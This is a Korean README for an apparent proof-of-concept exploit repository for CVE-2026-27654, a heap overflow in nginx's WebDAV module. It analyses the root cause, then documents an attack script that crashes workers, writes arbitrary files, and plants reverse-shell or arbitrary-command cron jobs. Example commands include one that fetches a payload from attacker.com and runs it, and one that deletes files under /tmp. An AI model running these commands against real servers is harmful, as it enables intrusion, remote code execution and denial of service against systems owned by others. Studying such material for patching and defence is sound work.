
CVE-2026-27654-PoC — Updated!
CVE-2026-27654에 대한 개념 증명(Proof-of-Concept) 및 기술 분석 자료로, NGINX HTTP WebDAV 모듈의 힙 기반 버퍼 오버플로 취약점에 대해 근본 원인 분석, 재현 및 완화 방법을 다룹니다.
CVE-2026-27654 – nginx ngx_http_dav_module DAV Alias 경로 처리 PoC
이 저장소는 nginx의 ngx_http_dav_module에 존재하는 힙 오버플로(heap-overflow) 취약점인 CVE‑2026‑27654에 대한 개념 증명(PoC) 익스플로잇을 제공합니다. 이 버그는 특수하게 조작된 Destination 헤더와 alias 기반 location을 사용하는 MOVE/COPY 요청을 처리할 때 발생하는 size_t 언더플로(underflow)에서 비롯됩니다.
⚠️ 면책 조항: 이 도구는 공인된 보안 연구 및 테스트 전용입니다. 소유한 시스템 또는 명시적 테스트 허가를 받은 시스템에만 사용하십시오. 작성자는 오용에 대한 책임을 지지 않습니다.
🔥 취약점 개요
CVE-2026-27654는 ngx_http_dav_copy_move_handler()(src/http/modules/ngx_http_dav_module.c)의 정수 언더플로로 인해 발생하는, NGINX HTTP WebDAV 모듈에서 원격으로 트리거 가능한 힙 기반 버퍼 오버플로입니다. 이 취약점은 대상(Destination) URI 길이가 구성된 location 접두사를 Destination 헤더 경로에서 빼서 계산될 때 발생합니다. 두 피연산자가 모두 size_t 유형이므로, 대상 경로가 더 짧으면 뺄셈 결과가 최대값에 가까운 부호 없는 값으로 래핑(wrap)됩니다.
래핑된 길이는 이후 memcpy()의 크기 인자로 사용되어, 메모리를 손상시키고 NGINX worker 프로세스를 즉시 크래시시키는 힙 경계를 벗어난 쓰기(out-of-bounds write)가 발생합니다. 원격의 인증되지 않은 공격자는 alias에 매핑된 WebDAV location을 대상으로 하는 단일하게 조작된 MOVE 또는 COPY 요청만으로 이 조건을 안정적으로 트리거할 수 있습니다. NGINX master 프로세스는 실패한 worker를 자동으로 다시 생성하지만, 반복적인 요청은 서비스를 지속적인 worker 크래시 루프 상태로 유지하여 지속적인 서비스 거부(DoS)를 발생시킬 수 있습니다.
ASan(AddressSanitizer)은 memcpy()에서 negative-size-param 오류로 이 취약점을 검증하며, ngx_http_dav_copy_move_handler()에서 ngx_http_core_module.c까지의 실행 경로를 추적합니다. 이 취약점은 --with-http_dav_module으로 컴파일되고 alias 지시문으로 구성된 NGINX 0.5.13–1.28.2(안정판) 및 **1.29.0–1.29.6(메인라인)**에 영향을 미칩니다. 이 문제는 메모리 연산 전에 계산된 대상 경로 길이를 적절히 검증함으로써 NGINX 1.28.3 및 1.29.7(커밋 ab4b5b8, PR #1210)에서 수정되었습니다.
✨ 기능
- 대화형 모드 선택 – 런타임 시 네 가지 작동 모드(크래시, 파일 쓰기, cron 셸, cron 명령) 중 하나를 명확한 번호 매기기 메뉴로 선택할 수 있습니다.
- 크래시 트리거 – size_t 언더플로를 유발하고 취약한 worker를 크래시시키는 정식
MOVE/COPY요청을 전송합니다. - 파일 쓰기 모드 – 파일 시스템의 임의 위치에 임의의 콘텐츠를 업로드합니다(쓰기 가능한
alias가 있는 랩 환경 필요). - Cron 셸 전달 –
LHOST/LPORT에 대한 대화형 프롬프트와 리스너 시작 알림을 제공하며/etc/cron.d/에 리버스 셸 cron 작업을 배포합니다. - Cron 명령 전달 – cron을 통해 사용자 지정 명령을 실행합니다. 대화형 입력 또는
--cron-command플래그를 지원합니다. - 취약점 점검(
--check) – 크래시 테스트를 실행하고 명확한[VULNERABLE]/[NOT VULNERABLE]판정을 출력한 후 코드 0 또는 1로 종료하는 비대화형 모드입니다. - HTTP 프록시 지원(
--proxy) – 디버깅 또는 트래픽 검사를 위해 모든 요청을 HTTP/HTTPS 프록시(예: Burp Suite, mitmproxy)를 통해 전송합니다. - 지능형 파일 처리 – 트리거 파일이 이미 존재하는지(HEAD/GET을 통해) 확인하고, 존재하면 불필요한 업로드를 방지하기 위해 PUT을 건너뜁니다.
- 유연한 페이로드 옵션 –
--payload-file(바이너리),--payload-text(리터럴 텍스트)로 페이로드를 제공하거나 기본 테스트 콘텐츠를 사용할 수 있습니다. - 포괄적인 커맨드라인 인자 –
--destination-path,--alias-len,--escape-depth,--method,--location-prefix등 익스플로잇의 모든 측면을 미세 조정할 수 있습니다. - 견고한 폴백 –
requests라이브러리가 설치되지 않은 경우 스크립트는 Python 표준http.client로 폴백합니다(폴백 모드에서는 프록시 지원이 비활성화됨).
📦 설치
git clone https://github.com/Debajyoti0-0/CVE-2026-27654-PoC.git
cd CVE-2026-27654-PoC
pip install -r requirements.txt
🚀 사용법
대화형 모드(메뉴)
python exploit.py --target 192.168.1.100:8080
번호가 매겨진 메뉴가 표시되며 모드를 선택하라는 메시지가 나타납니다.
취약점 점검(비대화형)
python exploit.py --target 192.168.1.100:8080 --check
이 옵션은 크래시 모드를 강제하고, 익스플로잇을 실행한 후 코드 0 또는 1로 종료하기 전에 [VULNERABLE] 또는 [NOT VULNERABLE]을 출력합니다.
HTTP 프록시 사용
python exploit.py --target 192.168.1.100:8080 --proxy http://127.0.0.1:8080
모든 HTTP 요청은 지정된 프록시를 통해 전송됩니다(Burp로 디버깅할 때 유용).
⚙️ 플래그 참조
| 플래그 | 설명 | 예시 |
|---|---|---|
--target HOST:PORT | 대상 nginx 인스턴스(기본값: 127.0.0.1:8080). | --target 10.0.0.5:80 |
--verbose, -v | 전체 HTTP 응답(헤더 및 본문)을 표시합니다. | -v |
--no-put | 초기 PUT을 건너뜁니다(트리거 파일이 이미 존재한다고 가정). 반복 테스트에 유용합니다. | --no-put |
--location-prefix | DAV location 접두사(기본값: /uploads/). nginx 구성의 alias location과 일치해야 합니다. | --location-prefix /dav/ |
--remote-name | DAV location 안에 배치되는 원격 소스 파일 이름(기본값: triggerfile.txt). | --remote-name test.txt |
--method {MOVE,COPY} | 대상 요청에 사용할 DAV 메서드(기본값: MOVE). | --method COPY |
--destination-path | 대상 URI 경로 – 크래시 연산 또는 전달 모드의 최종 파일 경로로 사용됩니다. | --destination-path /etc/cron.d/backdoor |
--alias-len | 구성된 alias 문자열 길이(크래시 연산 표시용, 기본값 13). | --alias-len 20 |
--escape-depth | DAV 루트를 벗어나기 위한 ../ 경로 구성 요소 수(기본값 1). | --escape-depth 3 |
--payload-file | 페이로드로 업로드할 로컬 파일. 기본 테스트 콘텐츠를 덮어씁니다. | --payload-file ./shell.php |
--payload-text | write-file 모드용 리터럴 텍스트 페이로드. | --payload-text "<?php phpinfo(); ?>" |
--lhost | 리버스 셸 콜백 호스트(cron-shell용). 생략하면 스크립트가 대화형으로 프롬프트합니다. | --lhost 192.168.1.50 |
--lport | 리버스 셸 콜백 포트(cron-shell용). | --lport 4444 |
--cron-command | cron을 통해 실행할 명령(cron-cmd용). 생략하면 스크립트가 대화형으로 프롬프트합니다. | --cron-command "rm -rf /tmp/*" |
--wait | cron 전달 후 작업이 실행될 때까지 대기할 시간(초, 기본값 65). | --wait 120 |
--check | 취약점 점검을 실행합니다(크래시 테스트, 비대화형). VULNERABLE/NOT VULNERABLE을 출력하고 코드 0/1로 종료합니다. | --check |
--proxy PROXY_URL | HTTP/HTTPS 프록시 URL(예: http://127.0.0.1:8080). requests 라이브러리가 필요합니다. | --proxy http://127.0.0.1:8080 |
참고: 대부분의 플래그는 선택 사항입니다. 필수 인자(예:
cron-shell의--lhost/--lport)가 제공되지 않으면 스크립트가 대화형으로 프롬프트합니다.
🧪 모드 상세
1. crash
size_t 언더플로를 유발하는 조작된 MOVE(또는 COPY) 요청을 전송합니다. 서버는 worker 프로세스를 크래시시킵니다. master 프로세스가 올바르게 구성되어 있으면 새 worker를 다시 생성합니다.
예시:
python exploit.py --target 10.0.0.5:80
# 모드 1(crash) 선택
2. write-file
파일 시스템의 임의 위치에 파일을 업로드합니다. 이 기능은 DAV location이 쓰기 가능한 디렉터리를 가리키는 alias로 백업되고 Destination 경로가 DAV 루트를 벗어나도록 조작된 경우에만 작동합니다. 공인된 랩 환경에서만 사용하십시오.
예시:
python exploit.py --target 10.0.0.5:80 --payload-text "evil" --destination-path /tmp/evil.txt
# 모드 2(write-file) 선택
3. cron-shell
리버스 셸 cron 작업을 /etc/cron.d/에 배치합니다.
이 모드를 선택하면 스크립트가 다음을 프롬프트합니다:
- LHOST – 리스닝 IP
- LPORT – 리스닝 포트
그런 다음 netcat 리스너 명령을 표시하고 리스너가 실행 중이면 Enter를 누를 때까지 기다립니다.
예시(사전 입력):
python exploit.py --target 10.0.0.5:80 --lhost 192.168.1.50 --lport 4444
# 모드 3(cron-shell) 선택
4. cron-cmd
사용자 지정 명령(대화형 또는 --cron-command로 제공)을 /etc/cron.d/에 배치합니다. 임의의 시스템 명령을 실행하는 데 유용합니다.
예시(대화형):
python exploit.py --target 10.0.0.5:80
# 모드 4 선택 후 프롬프트에 명령 입력
예시(사전 입력):
python exploit.py --target 10.0.0.5:80 --cron-command "id > /tmp/owned"
# 모드 4(cron-cmd) 선택
📝 예제 워크플로(리버스 셸)
$ python exploit.py --target 192.168.1.100:8080
Available modes:
1. crash - Trigger the heap overflow crash
2. write-file - Write arbitrary content to an arbitrary location (authorized lab)
3. cron-shell - Deploy a reverse shell via /etc/cron.d
4. cron-cmd - Deploy a custom cron job
Select mode (number or name): 3
Enter reverse shell callback host (--lhost): 192.168.1.50
Enter reverse shell callback port (--lport): 4444
[*] Please start your netcat listener in a new terminal:
nc -lvnp 4444
[*] Press Enter once your listener is running...
[press Enter]
... (script performs the exploitation) ...
[+] Destination request accepted (201).
[*] Waiting 65s for cron execution...
[+] Reverse shell should connect shortly.
📝 예제 워크플로(명령 실행)
이 예제는 리스너 없이 대상 시스템에서 명령을 실행하기 위해 cron-cmd를 사용하는 방법을 보여줍니다.
대화형 모드
$ python exploit.py --target 192.168.1.100:8080
Available modes:
1. crash - Trigger the heap overflow crash
2. write-file - Write arbitrary content to an arbitrary location (authorized lab)
3. cron-shell - Deploy a reverse shell via /etc/cron.d
4. cron-cmd - Deploy a custom cron job
Select mode (number or name): 4
Enter the command to run in cron (--cron-command): id > /tmp/owned
... (script performs the exploitation) ...
[+] Destination request accepted (201).
[*] Waiting 65s for cron execution...
[+] Command should have executed. Check /tmp/owned on the target.
사전 입력(비대화형)
python exploit.py --target 192.168.1.100:8080 --cron-command "wget http://attacker.com/payload -O /tmp/payload && chmod +x /tmp/payload && /tmp/payload"
# 모드 4(cron-cmd) 선택
스크립트는 제공된 --cron-command를 자동으로 사용하고 대화형 프롬프트를 건너뛰므로 자동화에 적합합니다.
🛠️ 취약한 테스트 환경 구축
통제된 환경에서 이 PoC를 테스트하려면 --with-http_dav_module로 nginx를 소스에서 빌드하고 alias 및 dav_methods가 있는 location을 구성할 수 있습니다. 샘플 Docker 구성이 포함되어 있습니다(곧 제공 예정).
참조
- https://nginx.org/en/security_advisories.html
- https://github.com/nginx/nginx/commit/ab4b5b8
- https://github.com/nginx/nginx/pull/1210
📜 라이선스
이 프로젝트는 GNU v3.0 라이선스에 따라 사용이 허가됩니다. 자세한 내용은 LICENSE 파일을 참조하십시오.
🤝 기여
이슈 및 풀 리퀘스트를 환영합니다. 기여는 동일한 윤리적 사용 지침을 준수해야 합니다.
기억하세요: 보안 도구를 테스트하기 전에 항상 적절한 승인을 받으십시오. 윤리적으로 행동하세요!